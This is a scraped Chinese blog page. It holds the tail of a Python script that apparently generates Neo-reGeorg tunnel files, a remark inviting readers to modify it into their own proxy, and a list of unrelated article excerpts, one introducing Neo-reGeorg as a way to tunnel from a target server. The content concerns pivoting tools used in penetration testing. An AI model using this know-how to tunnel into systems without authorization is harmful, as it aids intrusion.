                    outfile = os.path.join(outdir, filename.replace('tunnel.', 'tunnel_compatibility.'))
                    file_write(outfile, text)
                    print("       => %s/%s" % (outdir, os.path.basename(outfile)))
        print('')

整体来说不难阅读,作者代码风格明显,并标有注释,可以在其基础上做一些修改,从而打造自己的代理。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Neo-reGeorg正向代理配合kali使用 的相关文章

随机推荐

  • 第53步 深度学习图像识别:Bottleneck Transformer建模(Pytorch)

    基于WIN10的64位系统演示 一 写在前面 1 Bottleneck Transformer Bottleneck Transformer 简称 BotNet 是一种深度学习模型 在2021年由Google的研究人员在论文 Bottlen
  • 【Mysql】数据库第三讲(表的约束、基本查询语句)

    表的约束和基本查询 1 表的约束 1 1 空属性 1 2默认值 1 3列描述 1 4 zerofill 1 5主键 1 6 自增长 1 7 唯一键 1 8外键 1 表的约束 真正约束字段的是数据类型 但是数据类型约束很单一 需要有一些额外的
  • 腾讯应用宝米大师直购模式支付流程以及服务端php回调校验

    一 米大师简介 1 米大师 Midas 为腾讯官方唯一虚拟支付平台 2 YSDK已经内置了米大师 Midas 支付模块 游戏开发者接入YSDK后 可以通过相应的配置开启米大师的支付功能 并调用YSDK已经封装好的接口 即可快速实现支付能力
  • windows 10 下安装labelme出错

    请大件帮我看看问题在哪 谢了
  • MongoDB的身份验证

    1 当开启了安全检查之后 只有通过身份认证的用户才能进行数据的读写操作 2 admin和local是两个特殊的数据库 它们当中的用户可对任何数据库进行操作 3 经认证后 管理员用户可对任何数据库进行读写操作 同时能执行只有管理员才能执行的命
  • 关于进制(十进制,二进制,八进制,十六进制)

    进制 十进制 在日常生活中使用 满10进1 计数 0 1 2 3 4 5 6 7 8 9 10 11 12 18 19 20 单位数字有10个 0 9 二进制 满2进1 计数 0 1 10 11 100 101 110 111 单位数字有2
  • 新版来啦|ShardingSphere 5.4.0 重磅发布

    Apache ShardingSphere 本周迎来了 5 4 0 版本的发布 该版本历时两个月 共合并了来自全球的团队和个人累计 1271 个 PR 新版本在功能 性能 测试 文档 示例等方面都进行了大量的优化 本次更新包含了不少能够提升
  • CUDA向量加法示例

    CUDA向量相加示例 贺志国 下面以向量加法为例 介绍CUDA实现代码 以下是具体代码vector add cu 我的版本除CUDA相关函数外 其他代码均以C 的方式实现 并且尽可能调用STL库的数据结构和算法 注意 CUDA核函数内部的日
  • delphi 获取有输入焦点的活动窗口信息

    var wintext array 0 MAXBYTE of Char WdChar array of Char focuswhd THandle processId Pointer threadid Cardinal GUITHREADI
  • c语言入门---调试技巧

    目录 什么是bug 调试是什么 调试的基本步骤是什么 调试是什么 调试的基本步骤是什么 Debug和release的区别 windows的调试介绍 调试的准备 调试的操作 1 F5 2 F9 3 F10 4 F11 调试的时候查看程序当前的
  • kali linux基本命令

    文章目录 shell 什么是shell 查看shell shell与终端的区别 VIM编辑器 Linux常用命令 shell 什么是shell 在计算机科学中 shell俗称外壳 能够接收用户的命令并翻译给操作系统执行 是用户与操作系统 内
  • CryptoPP的LC_RNG算法的使用

    随机数发生器是密码学的一个重要原语 密码学库CryptoPP中提供了一些随机数发生器算法 如下图所示 今天 介绍一些其中LC RNG算法的使用 该库中的LC RNG算法就是著名的线性同余发生器算法 该算法由于执行效率高而被广泛使用 C语言库
  • @Conditional 初学

    点击 Conditional Target ElementType TYPE ElementType METHOD Retention RetentionPolicy RUNTIME Documented public interface
  • win10安装Tensorflow1.14.0 CUP版

    安装cpu版本 python3 6 12 tensorflow1 14 0 numpy1 16 0 python tensorflow 和 numpy之间版本要相对应 这很重要 不然可能会装不上 这是尝试了4天后的可行搭配 目 录 预备备
  • 代码题-判断循环依赖

    interface Module name string imports Module const moduleC Module name moduleC const moduleB Module name moduleB imports
  • 【ORACLE性能分析和优化思路学习笔记02:什么时候需要对性能进行干预】

    背景 近期负责的一些单位 一些数据库节点总是出现宕机或者自动重启 之前简单接触过oracle RAC数据库的一些管理 但是对性能分析和优化研究不深 这次实在是没办法了 DBA协调不动 只能自己出马了 好在自己有一定的基础 上手很快 现在对学
  • pytorch常见问题

    1 pytorch 的 dataloader 在读取数据时 设置了较大的 batchsize 和 num workers 然后训练一段时间报错 RuntimeError Too many open files Communication w
  • LeetCode 414. 第三大的数-C语言

    LeetCode 414 第三大的数 C语言 题目描述 解题思路 1 设置数组max 3 用于保存前三大的值 初始化为LONG MIN意为最小值 2 遍历数组对前三大的值进行更新 3 判断max 2 是否存在 若不存在直接返回max 0 代
  • 笔记本电脑切换不到投影仪 问题 解决方法

    我的笔记本是ati显卡的 在某次切换到投影仪的时候 出现问题 无法正确应用您所选择的以下设置 请更改设置并重试 外部监视器或投影仪 电视机 分辨率 颜色质量 无法正确应用您所选择的以下设置 请更改设置并重试 显示配置 解决思路 公司还有一个
  • Neo-reGeorg正向代理配合kali使用

    Neo reGeorg正向代理配合kali使用 一 Neo reGeorg介绍 在了解Neo reGeorg之前 首先应该知道大名鼎鼎的项目 https github com sensepost reGeorg 其用于开启目标服务器到本地的